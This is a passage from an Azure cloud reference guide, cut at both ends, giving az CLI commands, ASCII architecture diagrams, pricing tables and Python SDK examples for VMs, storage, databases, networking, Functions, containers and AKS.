  --size Standard_D4s_v3

# Delete VM
az vm delete \
  --resource-group myResourceGroup \
  --name myVM \
  --yes

# Open port
az vm open-port \
  --resource-group myResourceGroup \
  --name myVM \
  --port 80 \
  --priority 1001

# Run command on VM
az vm run-command invoke \
  --resource-group myResourceGroup \
  --name myVM \
  --command-id RunShellScript \
  --scripts "sudo apt-get update && sudo apt-get install -y nginx"

# Create VM from snapshot
az vm create \
  --resource-group myResourceGroup \
  --name myRestoredVM \
  --attach-os-disk myOSDisk \
  --os-type Linux

# Get VM instance metadata (from within VM)
curl -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Add custom script extension (Linux)
az vm extension set \
  --resource-group myResourceGroup \
  --vm-name myVM \
  --name customScript \
  --publisher Microsoft.Azure.Extensions \
  --settings '{"fileUris": ["https://raw.githubusercontent.com/user/repo/script.sh"],"commandToExecute": "./script.sh"}'

# Add custom script extension (Windows)
az vm extension set \
  --resource-group myResourceGroup \
  --vm-name myWindowsVM \
  --name CustomScriptExtension \
  --publisher Microsoft.Compute \
  --settings '{"fileUris": ["https://example.com/script.ps1"],"commandToExecute": "powershell -ExecutionPolicy Unrestricted -File script.ps1"}'

┌─────────────────────────────────────────────────┐
│          Azure Load Balancer                     │
└──────────────────┬──────────────────────────────┘
                   │
        ┌──────────┼──────────┐
        │          │          │
    ┌───▼───┐  ┌───▼───┐  ┌───▼───┐
    │ VM 1  │  │ VM 2  │  │ VM 3  │
    └───────┘  └───────┘  └───────┘
        │          │          │
        └──────────┼──────────┘
                   │
        ┌──────────▼──────────┐
        │ Virtual Machine     │
        │ Scale Set (VMSS)    │
        │                     │
        │ Min: 2              │
        │ Current: 3          │
        │ Max: 10             │
        │                     │
        │ Scale Rules:        │
        │ CPU > 75%: +1 VM    │
        │ CPU < 25%: -1 VM    │
        └─────────────────────┘

# Create VMSS
az vmss create \
  --resource-group myResourceGroup \
  --name myScaleSet \
  --image Ubuntu2204 \
  --instance-count 3 \
  --vm-sku Standard_B2s \
  --admin-username azureuser \
  --generate-ssh-keys \
  --load-balancer myLoadBalancer \
  --upgrade-policy-mode Automatic

# List VMSS
az vmss list --output table

# Scale manually
az vmss scale \
  --resource-group myResourceGroup \
  --name myScaleSet \
  --new-capacity 5

# Create autoscale profile
az monitor autoscale create \
  --resource-group myResourceGroup \
  --resource myScaleSet \
  --resource-type Microsoft.Compute/virtualMachineScaleSets \
  --name myAutoscaleProfile \
  --min-count 2 \
  --max-count 10 \
  --count 3

# Create autoscale rule (scale out)
az monitor autoscale rule create \
  --resource-group myResourceGroup \
  --autoscale-name myAutoscaleProfile \
  --condition "Percentage CPU > 75 avg 5m" \
  --scale out 1

# Create autoscale rule (scale in)
az monitor autoscale rule create \
  --resource-group myResourceGroup \
  --autoscale-name myAutoscaleProfile \
  --condition "Percentage CPU < 25 avg 5m" \
  --scale in 1

# List VMSS instances
az vmss list-instances \
  --resource-group myResourceGroup \
  --name myScaleSet \
  --output table

# Update VMSS image
az vmss update \
  --resource-group myResourceGroup \
  --name myScaleSet \
  --set virtualMachineProfile.storageProfile.imageReference.version=latest

# Start rolling upgrade
az vmss update-instances \
  --resource-group myResourceGroup \
  --name myScaleSet \
  --instance-ids '*'

# Delete VMSS
az vmss delete \
  --resource-group myResourceGroup \
  --name myScaleSet

# Create App Service Plan
az appservice plan create \
  --name myAppServicePlan \
  --resource-group myResourceGroup \
  --sku B1 \
  --is-linux

# Create Web App
az webapp create \
  --resource-group myResourceGroup \
  --plan myAppServicePlan \
  --name myUniqueWebApp123 \
  --runtime "NODE:18-lts"

# Deploy from GitHub
az webapp deployment source config \
  --name myUniqueWebApp123 \
  --resource-group myResourceGroup \
  --repo-url https://github.com/user/repo \
  --branch main \
  --manual-integration

# Deploy from local Git
az webapp deployment source config-local-git \
  --name myUniqueWebApp123 \
  --resource-group myResourceGroup

# Deploy ZIP file
az webapp deployment source config-zip \
  --resource-group myResourceGroup \
  --name myUniqueWebApp123 \
  --src app.zip

# Set environment variables
az webapp config appsettings set \
  --resource-group myResourceGroup \
  --name myUniqueWebApp123 \
  --settings DB_HOST=mydb.database.windows.net DB_NAME=mydb

# Enable HTTPS only
az webapp update \
  --resource-group myResourceGroup \
  --name myUniqueWebApp123 \
  --https-only true

# Scale up (change plan)
az appservice plan update \
  --name myAppServicePlan \
  --resource-group myResourceGroup \
  --sku P1V2

# Scale out (add instances)
az appservice plan update \
  --name myAppServicePlan \
  --resource-group myResourceGroup \
  --number-of-workers 3

# View logs
az webapp log tail \
  --resource-group myResourceGroup \
  --name myUniqueWebApp123

# Restart web app
az webapp restart \
  --resource-group myResourceGroup \
  --name myUniqueWebApp123

# Delete web app
az webapp delete \
  --resource-group myResourceGroup \
  --name myUniqueWebApp123

Type            Use Case                        Performance    Cost
────────────────────────────────────────────────────────────────────
Block Blobs     Text and binary data           Standard/Premium  $$
Append Blobs    Logging data                   Standard         $$
Page Blobs      VHD files, random access       Premium          $$$

Tier        Access Frequency    Retrieval Time    Cost
─────────────────────────────────────────────────────────
Hot         Frequent            Immediate         $$$
Cool        Infrequent (30d+)   Immediate         $$
Cold        Rare (90d+)         Immediate         $
Archive     Rarely (180d+)      Hours             ¢

┌─────────────────────────────────────────────────┐
│  Storage Account: mystorageaccount              │
│  Location: eastus                                │
│  Replication: LRS/GRS/RA-GRS                    │
├─────────────────────────────────────────────────┤
│                                                  │
│  Container: images (Blob Container)             │
│    ├─ logo.png                                  │
│    ├─ banner.jpg                                │
│    └─ photos/                                   │
│        ├─ photo1.jpg                            │
│        └─ photo2.jpg                            │
│                                                  │
│  Container: documents                           │
│    ├─ report.pdf                                │
│    └─ invoice.xlsx                              │
│                                                  │
│  Container: backups                             │
│    └─ database-backup.sql                      │
│                                                  │
│  File Share: fileshare (Azure Files)           │
│    ├─ shared/                                   │
│    └─ config/                                   │
│                                                  │
│  Table Storage (NoSQL)                          │
│  Queue Storage (Message Queue)                  │
└─────────────────────────────────────────────────┘

# Create storage account
az storage account create \
  --name mystorageaccount123 \
  --resource-group myResourceGroup \
  --location eastus \
  --sku Standard_LRS \
  --kind StorageV2

# Get connection string
az storage account show-connection-string \
  --name mystorageaccount123 \
  --resource-group myResourceGroup

# Export connection string
export AZURE_STORAGE_CONNECTION_STRING="<connection-string>"

# Create container
az storage container create \
  --name mycontainer \
  --account-name mystorageaccount123 \
  --public-access off

# Upload blob
az storage blob upload \
  --container-name mycontainer \
  --name myfile.txt \
  --file ./local-file.txt \
  --account-name mystorageaccount123

# Upload directory
az storage blob upload-batch \
  --destination mycontainer \
  --source ./local-directory \
  --account-name mystorageaccount123

# Download blob
az storage blob download \
  --container-name mycontainer \
  --name myfile.txt \
  --file ./downloaded-file.txt \
  --account-name mystorageaccount123

# List blobs
az storage blob list \
  --container-name mycontainer \
  --account-name mystorageaccount123 \
  --output table

# Copy blob
az storage blob copy start \
  --source-container mycontainer \
  --source-blob myfile.txt \
  --destination-container backup \
  --destination-blob myfile-backup.txt \
  --account-name mystorageaccount123

# Generate SAS token
az storage blob generate-sas \
  --container-name mycontainer \
  --name myfile.txt \
  --account-name mystorageaccount123 \
  --permissions r \
  --expiry 2024-12-31T23:59:59Z

# Set blob tier
az storage blob set-tier \
  --container-name mycontainer \
  --name myfile.txt \
  --tier Cool \
  --account-name mystorageaccount123

# Delete blob
az storage blob delete \
  --container-name mycontainer \
  --name myfile.txt \
  --account-name mystorageaccount123

# Enable versioning
az storage account blob-service-properties update \
  --account-name mystorageaccount123 \
  --resource-group myResourceGroup \
  --enable-versioning true

# Set lifecycle management policy
az storage account management-policy create \
  --account-name mystorageaccount123 \
  --resource-group myResourceGroup \
  --policy @policy.json

{
  "rules": [
    {
      "enabled": true,
      "name": "MoveToArchive",
      "type": "Lifecycle",
      "definition": {
        "actions": {
          "baseBlob": {
            "tierToCool": {
              "daysAfterModificationGreaterThan": 30
            },
            "tierToArchive": {
              "daysAfterModificationGreaterThan": 90
            },
            "delete": {
              "daysAfterModificationGreaterThan": 365
            }
          }
        },
        "filters": {
          "blobTypes": ["blockBlob"],
          "prefixMatch": ["logs/"]
        }
      }
    }
  ]
}

from azure.storage.blob import BlobServiceClient, BlobClient, ContainerClient
from azure.storage.blob import BlobSasPermissions, generate_blob_sas
from datetime import datetime, timedelta

# Create blob service client
connection_string = "DefaultEndpointsProtocol=https;AccountName=..."
blob_service_client = BlobServiceClient.from_connection_string(connection_string)

# Create container
def create_container(container_name):
    container_client = blob_service_client.create_container(container_name)
    return container_client

# Upload blob
def upload_blob(container_name, blob_name, data):
    blob_client = blob_service_client.get_blob_client(
        container=container_name,
        blob=blob_name
    )
    blob_client.upload_blob(data, overwrite=True)
    print(f"Uploaded {blob_name}")

# Upload file
def upload_file(container_name, file_path, blob_name=None):
    if blob_name is None:
        blob_name = file_path.split('/')[-1]

    blob_client = blob_service_client.get_blob_client(
        container=container_name,
        blob=blob_name
    )

    with open(file_path, "rb") as data:
        blob_client.upload_blob(data, overwrite=True)
    print(f"Uploaded {file_path} as {blob_name}")

# Download blob
def download_blob(container_name, blob_name, file_path):
    blob_client = blob_service_client.get_blob_client(
        container=container_name,
        blob=blob_name
    )

    with open(file_path, "wb") as file:
        data = blob_client.download_blob()
        file.write(data.readall())
    print(f"Downloaded {blob_name} to {file_path}")

# List blobs
def list_blobs(container_name):
    container_client = blob_service_client.get_container_client(container_name)
    blob_list = container_client.list_blobs()

    for blob in blob_list:
        print(f"{blob.name}: {blob.size} bytes")

# Generate SAS URL
def generate_sas_url(container_name, blob_name, account_name, account_key):
    sas_token = generate_blob_sas(
        account_name=account_name,
        container_name=container_name,
        blob_name=blob_name,
        account_key=account_key,
        permission=BlobSasPermissions(read=True),
        expiry=datetime.utcnow() + timedelta(hours=1)
    )

    url = f"https://{account_name}.blob.core.windows.net/{container_name}/{blob_name}?{sas_token}"
    return url

# Delete blob
def delete_blob(container_name, blob_name):
    blob_client = blob_service_client.get_blob_client(
        container=container_name,
        blob=blob_name
    )
    blob_client.delete_blob()
    print(f"Deleted {blob_name}")

# Usage
create_container("mycontainer")
upload_file("mycontainer", "./local-file.txt")
download_blob("mycontainer", "local-file.txt", "./downloaded.txt")
list_blobs("mycontainer")

# Create file share
az storage share create \
  --name myfileshare \
  --account-name mystorageaccount123 \
  --quota 100

# Upload file to share
az storage file upload \
  --share-name myfileshare \
  --source ./local-file.txt \
  --account-name mystorageaccount123

# List files
az storage file list \
  --share-name myfileshare \
  --account-name mystorageaccount123 \
  --output table

# Mount file share (Linux)
sudo mkdir /mnt/azure
sudo mount -t cifs //mystorageaccount123.file.core.windows.net/myfileshare /mnt/azure \
  -o vers=3.0,username=mystorageaccount123,password=<storage-key>,dir_mode=0777,file_mode=0777

# Mount file share (Windows)
net use Z: \\mystorageaccount123.file.core.windows.net\myfileshare /user:Azure\mystorageaccount123 <storage-key>

# Add to /etc/fstab (Linux)
echo "//mystorageaccount123.file.core.windows.net/myfileshare /mnt/azure cifs vers=3.0,username=mystorageaccount123,password=<storage-key>,dir_mode=0777,file_mode=0777 0 0" | sudo tee -a /etc/fstab

Type            IOPS        Throughput      Use Case              Cost
─────────────────────────────────────────────────────────────────────
Ultra Disk      160K+       4,000 MB/s      Mission-critical      $$$$
Premium SSD v2  80K         1,200 MB/s      Production DBs        $$$
Premium SSD     20K         900 MB/s        Production            $$
Standard SSD    6K          750 MB/s        Web servers           $
Standard HDD    2K          500 MB/s        Backup, dev/test      ¢

# Create managed disk
az disk create \
  --resource-group myResourceGroup \
  --name myDataDisk \
  --size-gb 128 \
  --sku Premium_LRS

# Attach disk to VM
az vm disk attach \
  --resource-group myResourceGroup \
  --vm-name myVM \
  --name myDataDisk

# Detach disk
az vm disk detach \
  --resource-group myResourceGroup \
  --vm-name myVM \
  --name myDataDisk

# Create snapshot
az snapshot create \
  --resource-group myResourceGroup \
  --name mySnapshot \
  --source myDataDisk

# Create disk from snapshot
az disk create \
  --resource-group myResourceGroup \
  --name myRestoredDisk \
  --source mySnapshot

# Increase disk size
az disk update \
  --resource-group myResourceGroup \
  --name myDataDisk \
  --size-gb 256

Tier          vCores    Memory    Max DB Size    Use Case          Cost
────────────────────────────────────────────────────────────────────────
Serverless    0.5-40    3-120GB   4TB           Variable load     $$
General       2-80      10.4-408GB 4TB           Balanced          $$
Purpose
Business      2-128     20.8-625GB 4TB           Mission-critical  $$$$
Critical
Hyperscale    2-128     20.8-625GB 100TB         Large databases   $$$

# Create SQL Server
az sql server create \
  --name myuniquesqlserver123 \
  --resource-group myResourceGroup \
  --location eastus \
  --admin-user sqladmin \
  --admin-password 'SecurePassword123!'

# Configure firewall rule
az sql server firewall-rule create \
  --resource-group myResourceGroup \
  --server myuniquesqlserver123 \
  --name AllowMyIP \
  --start-ip-address 1.2.3.4 \
  --end-ip-address 1.2.3.4

# Allow Azure services
az sql server firewall-rule create \
  --resource-group myResourceGroup \
  --server myuniquesqlserver123 \
  --name AllowAzureServices \
  --start-ip-address 0.0.0.0 \
  --end-ip-address 0.0.0.0

# Create database
az sql db create \
  --resource-group myResourceGroup \
  --server myuniquesqlserver123 \
  --name myDatabase \
  --service-objective S0 \
  --backup-storage-redundancy Local

# Create serverless database
az sql db create \
  --resource-group myResourceGroup \
  --server myuniquesqlserver123 \
  --name myServerlessDB \
  --edition GeneralPurpose \
  --compute-model Serverless \
  --family Gen5 \
  --capacity 2 \
  --auto-pause-delay 60

# List databases
az sql db list \
  --resource-group myResourceGroup \
  --server myuniquesqlserver123 \
  --output table

# Scale database
az sql db update \
  --resource-group myResourceGroup \
  --server myuniquesqlserver123 \
  --name myDatabase \
  --service-objective S2

# Create read replica
az sql db replica create \
  --name myDatabase \
  --resource-group myResourceGroup \
  --server myuniquesqlserver123 \
  --partner-server myuniquesqlserver-replica \
  --partner-resource-group myResourceGroup

# Create backup
az sql db export \
  --resource-group myResourceGroup \
  --server myuniquesqlserver123 \
  --name myDatabase \
  --admin-user sqladmin \
  --admin-password 'SecurePassword123!' \
  --storage-key-type StorageAccessKey \
  --storage-key "<storage-key>" \
  --storage-uri "https://mystorageaccount.blob.core.windows.net/backups/mydb.bacpac"

# Restore database
az sql db restore \
  --resource-group myResourceGroup \
  --server myuniquesqlserver123 \
  --name myRestoredDB \
  --source-database myDatabase \
  --time "2024-01-01T00:00:00Z"

# Delete database
az sql db delete \
  --resource-group myResourceGroup \
  --server myuniquesqlserver123 \
  --name myDatabase \
  --yes

# Connect to database
sqlcmd -S myuniquesqlserver123.database.windows.net -d myDatabase -U sqladmin -P 'SecurePassword123!'

import pyodbc

# Connection string
server = 'myuniquesqlserver123.database.windows.net'
database = 'myDatabase'
username = 'sqladmin'
password = 'SecurePassword123!'
driver = '{ODBC Driver 18 for SQL Server}'

connection_string = f'DRIVER={driver};SERVER={server};DATABASE={database};UID={username};PWD={password}'

# Connect to database
conn = pyodbc.connect(connection_string)
cursor = conn.cursor()

# Create table
cursor.execute('''
    CREATE TABLE users (
        id INT PRIMARY KEY IDENTITY,
        name NVARCHAR(100),
        email NVARCHAR(100),
        created_at DATETIME DEFAULT GETDATE()
    )
''')

# Insert data
cursor.execute("INSERT INTO users (name, email) VALUES (?, ?)", ('Alice', 'alice@example.com'))
conn.commit()

# Query data
cursor.execute("SELECT * FROM users")
rows = cursor.fetchall()
for row in rows:
    print(f"ID: {row.id}, Name: {row.name}, Email: {row.email}")

# Close connection
cursor.close()
conn.close()

API              Type           Use Case                AWS Equivalent
──────────────────────────────────────────────────────────────────────
Core (SQL)       Document       General purpose         DynamoDB
MongoDB          Document       MongoDB compatibility   DocumentDB
Cassandra        Wide-column    Cassandra workloads     Keyspaces
Gremlin          Graph          Graph relationships     Neptune
Table            Key-value      Simple key-value        DynamoDB

# Create Cosmos DB account
az cosmosdb create \
  --name mycosmosaccount123 \
  --resource-group myResourceGroup \
  --locations regionName=eastus failoverPriority=0 \
  --locations regionName=westus failoverPriority=1 \
  --default-consistency-level Session \
  --enable-automatic-failover true

# Create database (SQL API)
az cosmosdb sql database create \
  --account-name mycosmosaccount123 \
  --resource-group myResourceGroup \
  --name myDatabase

# Create container
az cosmosdb sql container create \
  --account-name mycosmosaccount123 \
  --resource-group myResourceGroup \
  --database-name myDatabase \
  --name myContainer \
  --partition-key-path "/userId" \
  --throughput 400

# Get connection string
az cosmosdb keys list \
  --name mycosmosaccount123 \
  --resource-group myResourceGroup \
  --type connection-strings

# List databases
az cosmosdb sql database list \
  --account-name mycosmosaccount123 \
  --resource-group myResourceGroup

# Update throughput
az cosmosdb sql container throughput update \
  --account-name mycosmosaccount123 \
  --resource-group myResourceGroup \
  --database-name myDatabase \
  --name myContainer \
  --throughput 1000

from azure.cosmos import CosmosClient, PartitionKey, exceptions

# Initialize client
endpoint = "https://mycosmosaccount123.documents.azure.com:443/"
key = "<primary-key>"
client = CosmosClient(endpoint, key)

# Get database and container
database = client.get_database_client("myDatabase")
container = database.get_container_client("myContainer")

# Create item
item = {
    'id': 'user-001',
    'userId': 'user-001',
    'name': 'Alice',
    'email': 'alice@example.com',
    'age': 30
}
container.create_item(body=item)

# Read item
item = container.read_item(item='user-001', partition_key='user-001')
print(item)

# Query items
query = "SELECT * FROM c WHERE c.age > @age"
parameters = [{"name": "@age", "value": 25}]

items = list(container.query_items(
    query=query,
    parameters=parameters,
    enable_cross_partition_query=True
))

for item in items:
    print(f"{item['name']}: {item['age']} years old")

# Update item
item['age'] = 31
container.replace_item(item='user-001', body=item)

# Delete item
container.delete_item(item='user-001', partition_key='user-001')

# Create PostgreSQL server
az postgres flexible-server create \
  --name mypostgresserver123 \
  --resource-group myResourceGroup \
  --location eastus \
  --admin-user myadmin \
  --admin-password 'SecurePassword123!' \
  --sku-name Standard_B1ms \
  --tier Burstable \
  --storage-size 32

# Create MySQL server
az mysql flexible-server create \
  --name mymysqlserver123 \
  --resource-group myResourceGroup \
  --location eastus \
  --admin-user myadmin \
  --admin-password 'SecurePassword123!' \
  --sku-name Standard_B1ms \
  --tier Burstable \
  --storage-size 32

# Configure firewall
az postgres flexible-server firewall-rule create \
  --resource-group myResourceGroup \
  --name mypostgresserver123 \
  --rule-name AllowMyIP \
  --start-ip-address 1.2.3.4 \
  --end-ip-address 1.2.3.4

# Connect to PostgreSQL
psql "host=mypostgresserver123.postgres.database.azure.com port=5432 dbname=postgres user=myadmin password=SecurePassword123! sslmode=require"

# Connect to MySQL
mysql -h mymysqlserver123.mysql.database.azure.com -u myadmin -p

# Create Redis cache
az redis create \
  --resource-group myResourceGroup \
  --name myrediscache123 \
  --location eastus \
  --sku Basic \
  --vm-size c0

# Get access keys
az redis list-keys \
  --resource-group myResourceGroup \
  --name myrediscache123

# Get hostname
az redis show \
  --resource-group myResourceGroup \
  --name myrediscache123 \
  --query hostName

# Connect to Redis
redis-cli -h myrediscache123.redis.cache.windows.net -p 6380 -a <primary-key> --tls

┌─────────────────────────────────────────────────────────────┐
│  VNet: my-vnet (10.0.0.0/16)                                │
│  Region: eastus                                              │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  ┌───────────────────────┐  ┌──────────────────────────┐   │
│  │ Public Subnet         │  │ Public Subnet            │   │
│  │ 10.0.1.0/24          │  │ 10.0.2.0/24              │   │
│  │ (AZ 1)               │  │ (AZ 2)                   │   │
│  │                       │  │                          │   │
│  │ ┌─────────────────┐  │  │ ┌─────────────────┐     │   │
│  │ │ Load Balancer   │  │  │ │ Load Balancer   │     │   │
│  │ └─────────────────┘  │  │ └─────────────────┘     │   │
│  └───────────┬───────────┘  └──────────┬───────────────┘   │
│              │                         │                    │
│              │   Azure Gateway         │                    │
│              └──────────┬──────────────┘                    │
│                         │                                   │
│  ┌───────────────────────┐  ┌──────────────────────────┐   │
│  │ Private Subnet        │  │ Private Subnet           │   │
│  │ 10.0.11.0/24         │  │ 10.0.12.0/24             │   │
│  │ (AZ 1)               │  │ (AZ 2)                   │   │
│  │                       │  │                          │   │
│  │ ┌─────┐ ┌─────┐      │  │ ┌─────┐ ┌─────┐         │   │
│  │ │ VM  │ │ VM  │      │  │ │ VM  │ │ VM  │         │   │
│  │ └─────┘ └─────┘      │  │ └─────┘ └─────┘         │   │
│  └───────────────────────┘  └──────────────────────────┘   │
│                                                              │
│  ┌───────────────────────┐  ┌──────────────────────────┐   │
│  │ Database Subnet       │  │ Database Subnet          │   │
│  │ 10.0.21.0/24         │  │ 10.0.22.0/24             │   │
│  │                       │  │                          │   │
│  │ ┌──────────┐          │  │ ┌──────────┐            │   │
│  │ │  SQL DB  │          │  │ │  SQL DB  │            │   │
│  │ └──────────┘          │  │ └──────────┘            │   │
│  └───────────────────────┘  └──────────────────────────┘   │
└─────────────────────────────────────────────────────────────┘

# Create VNet
az network vnet create \
  --resource-group myResourceGroup \
  --name myVNet \
  --address-prefix 10.0.0.0/16 \
  --location eastus

# Create subnet
az network vnet subnet create \
  --resource-group myResourceGroup \
  --vnet-name myVNet \
  --name PublicSubnet \
  --address-prefixes 10.0.1.0/24

az network vnet subnet create \
  --resource-group myResourceGroup \
  --vnet-name myVNet \
  --name PrivateSubnet \
  --address-prefixes 10.0.11.0/24

# List VNets
az network vnet list --output table

# List subnets
az network vnet subnet list \
  --resource-group myResourceGroup \
  --vnet-name myVNet \
  --output table

# Create Network Security Group (NSG)
az network nsg create \
  --resource-group myResourceGroup \
  --name myNSG

# Add NSG rule
az network nsg rule create \
  --resource-group myResourceGroup \
  --nsg-name myNSG \
  --name AllowHTTP \
  --priority 100 \
  --source-address-prefixes '*' \
  --source-port-ranges '*' \
  --destination-address-prefixes '*' \
  --destination-port-ranges 80 \
  --access Allow \
  --protocol Tcp \
  --direction Inbound

az network nsg rule create \
  --resource-group myResourceGroup \
  --nsg-name myNSG \
  --name AllowSSH \
  --priority 110 \
  --source-address-prefixes 'VirtualNetwork' \
  --source-port-ranges '*' \
  --destination-address-prefixes '*' \
  --destination-port-ranges 22 \
  --access Allow \
  --protocol Tcp \
  --direction Inbound

# Associate NSG with subnet
az network vnet subnet update \
  --resource-group myResourceGroup \
  --vnet-name myVNet \
  --name PublicSubnet \
  --network-security-group myNSG

# Create NAT Gateway
az network public-ip create \
  --resource-group myResourceGroup \
  --name myNATGatewayIP \
  --sku Standard \
  --allocation-method Static

az network nat gateway create \
  --resource-group myResourceGroup \
  --name myNATGateway \
  --public-ip-addresses myNATGatewayIP \
  --idle-timeout 10

# Associate NAT Gateway with subnet
az network vnet subnet update \
  --resource-group myResourceGroup \
  --vnet-name myVNet \
  --name PrivateSubnet \
  --nat-gateway myNATGateway

# VNet peering
az network vnet peering create \
  --resource-group myResourceGroup \
  --name myVNet-to-VNet2 \
  --vnet-name myVNet \
  --remote-vnet myVNet2 \
  --allow-vnet-access

Type                SKU         OSI Layer    Use Case              Cost
───────────────────────────────────────────────────────────────────────
Load Balancer       Basic       Layer 4      Internal/Public       Free
Load Balancer       Standard    Layer 4      Production            $$
Application         Standard    Layer 7      HTTP/HTTPS routing    $$
Gateway

# Create public IP
az network public-ip create \
  --resource-group myResourceGroup \
  --name myPublicIP \
  --sku Standard

# Create load balancer
az network lb create \
  --resource-group myResourceGroup \
  --name myLoadBalancer \
  --sku Standard \
  --public-ip-address myPublicIP \
  --frontend-ip-name myFrontEnd \
  --backend-pool-name myBackEndPool

# Create health probe
az network lb probe create \
  --resource-group myResourceGroup \
  --lb-name myLoadBalancer \
  --name myHealthProbe \
  --protocol tcp \
  --port 80 \
  --interval 15 \
  --threshold 2

# Create load balancer rule
az network lb rule create \
  --resource-group myResourceGroup \
  --lb-name myLoadBalancer \
  --name myHTTPRule \
  --protocol tcp \
  --frontend-port 80 \
  --backend-port 80 \
  --frontend-ip-name myFrontEnd \
  --backend-pool-name myBackEndPool \
  --probe-name myHealthProbe

# Add VM to backend pool
az network nic ip-config address-pool add \
  --resource-group myResourceGroup \
  --nic-name myNIC \
  --ip-config-name ipconfig1 \
  --lb-name myLoadBalancer \
  --address-pool myBackEndPool

# Create Application Gateway
az network application-gateway create \
  --name myAppGateway \
  --resource-group myResourceGroup \
  --location eastus \
  --vnet-name myVNet \
  --subnet PublicSubnet \
  --capacity 2 \
  --sku Standard_v2 \
  --public-ip-address myPublicIP \
  --servers 10.0.11.4 10.0.11.5

# Create path-based routing rule
az network application-gateway url-path-map create \
  --gateway-name myAppGateway \
  --resource-group myResourceGroup \
  --name myPathMap \
  --paths /images/* \
  --http-settings appGatewayBackendHttpSettings \
  --address-pool imagesBackendPool

# Enable Web Application Firewall (WAF)
az network application-gateway waf-config set \
  --gateway-name myAppGateway \
  --resource-group myResourceGroup \
  --enabled true \
  --firewall-mode Prevention \
  --rule-set-version 3.0

# Create DNS zone
az network dns zone create \
  --resource-group myResourceGroup \
  --name example.com

# Create A record
az network dns record-set a add-record \
  --resource-group myResourceGroup \
  --zone-name example.com \
  --record-set-name www \
  --ipv4-address 1.2.3.4

# Create CNAME record
az network dns record-set cname set-record \
  --resource-group myResourceGroup \
  --zone-name example.com \
  --record-set-name blog \
  --cname www.example.com

# List records
az network dns record-set list \
  --resource-group myResourceGroup \
  --zone-name example.com

# Get nameservers
az network dns zone show \
  --resource-group myResourceGroup \
  --name example.com \
  --query nameServers

Runtime       Languages                    Timeout (Consumption)
───────────────────────────────────────────────────────────────
4.x (Current) C#, Java, JavaScript,       10 minutes (default)
              Python, PowerShell, TypeScript

Trigger Type        Use Case
────────────────────────────────────────────────────
HTTP                REST APIs, webhooks
Timer               Scheduled tasks
Blob Storage        File processing
Queue Storage       Async processing
Event Grid          Event-driven workflows
Event Hub           Real-time data streams
Service Bus         Enterprise messaging
Cosmos DB           Database change feed

import logging
import azure.functions as func

def main(req: func.HttpRequest) -> func.HttpResponse:
    logging.info('Python HTTP trigger function processed a request.')

    name = req.params.get('name')
    if not name:
        try:
            req_body = req.get_json()
            name = req_body.get('name')
        except ValueError:
            pass

    if name:
        return func.HttpResponse(
            f"Hello, {name}!",
            status_code=200
        )
    else:
        return func.HttpResponse(
            "Please pass a name parameter",
            status_code=400
        )

# Blob trigger example
def main(myblob: func.InputStream):
    logging.info(f"Processing blob: {myblob.name}")
    logging.info(f"Blob size: {myblob.length} bytes")

    # Process the blob
    content = myblob.read()
    # Do something with content

# Timer trigger example
def main(mytimer: func.TimerRequest) -> None:
    logging.info('Timer trigger function executed.')

    if mytimer.past_due:
        logging.info('The timer is past due!')

    # Perform scheduled task
    perform_maintenance()

# Queue trigger example
def main(msg: func.QueueMessage) -> None:
    logging.info(f'Processing queue message: {msg.get_body().decode("utf-8")}')

    # Process message
    process_order(msg.get_json())

{
  "bindings": [
    {
      "authLevel": "function",
      "type": "httpTrigger",
      "direction": "in",
      "name": "req",
      "methods": ["get", "post"]
    },
    {
      "type": "http",
      "direction": "out",
      "name": "$return"
    }
  ]
}

# Install Azure Functions Core Tools
npm install -g azure-functions-core-tools@4

# Create function app locally
func init myFunctionApp --python
cd myFunctionApp

# Create new function
func new --name HttpTrigger --template "HTTP trigger"

# Run locally
func start

# Create function app in Azure
az functionapp create \
  --resource-group myResourceGroup \
  --consumption-plan-location eastus \
  --runtime python \
  --runtime-version 3.11 \
  --functions-version 4 \
  --name myuniquefunctionapp123 \
  --storage-account mystorageaccount123 \
  --os-type Linux

# Deploy to Azure
func azure functionapp publish myuniquefunctionapp123

# View logs
func azure functionapp logstream myuniquefunctionapp123

# Set application settings
az functionapp config appsettings set \
  --name myuniquefunctionapp123 \
  --resource-group myResourceGroup \
  --settings "DB_CONNECTION_STRING=Server=..."

# Enable managed identity
az functionapp identity assign \
  --name myuniquefunctionapp123 \
  --resource-group myResourceGroup

# List functions
az functionapp function list \
  --name myuniquefunctionapp123 \
  --resource-group myResourceGroup

# Delete function app
az functionapp delete \
  --name myuniquefunctionapp123 \
  --resource-group myResourceGroup

Plan             Price                   Timeout     Scaling
──────────────────────────────────────────────────────────────
Consumption      $0.20/million requests  10 min      Automatic
                 + $0.000016/GB-s
Premium          $0.169/vCPU hour       Unlimited    Automatic
                 + $0.0123/GB hour
Dedicated        App Service Plan cost  Unlimited    Manual/Auto

Free Tier: 1M requests + 400,000 GB-s/month

# Create Logic App
az logic workflow create \
  --resource-group myResourceGroup \
  --location eastus \
  --name myLogicApp \
  --definition @workflow.json

# List Logic Apps
az logic workflow list \
  --resource-group myResourceGroup

# Show Logic App
az logic workflow show \
  --resource-group myResourceGroup \
  --name myLogicApp

# Run Logic App
az logic workflow run trigger \
  --resource-group myResourceGroup \
  --name myLogicApp \
  --trigger-name manual

# Create container instance
az container create \
  --resource-group myResourceGroup \
  --name mycontainer \
  --image nginx:latest \
  --cpu 1 \
  --memory 1.5 \
  --dns-name-label myuniquecontainer123 \
  --ports 80

# List containers
az container list --output table

# Get container logs
az container logs \
  --resource-group myResourceGroup \
  --name mycontainer

# Execute command in container
az container exec \
  --resource-group myResourceGroup \
  --name mycontainer \
  --exec-command "/bin/bash"

# Delete container
az container delete \
  --resource-group myResourceGroup \
  --name mycontainer \
  --yes

# Create container with environment variables
az container create \
  --resource-group myResourceGroup \
  --name myapp \
  --image myregistry.azurecr.io/myapp:latest \
  --cpu 2 \
  --memory 4 \
  --environment-variables \
    'DB_HOST'='mydb.database.windows.net' \
    'DB_NAME'='mydb' \
  --secure-environment-variables \
    'DB_PASSWORD'='SecurePassword123!' \
  --registry-login-server myregistry.azurecr.io \
  --registry-username myregistry \
  --registry-password <password>

# Create AKS cluster
az aks create \
  --resource-group myResourceGroup \
  --name myAKSCluster \
  --node-count 3 \
  --node-vm-size Standard_D2s_v3 \
  --enable-managed-identity \
  --generate-ssh-keys \
  --network-plugin azure \
  --enable-addons monitoring

# Get credentials
az aks get-credentials \
  --resource-group myResourceGroup \
  --name myAKSCluster

# Verify connection
kubectl get nodes

# Scale cluster
az aks scale \
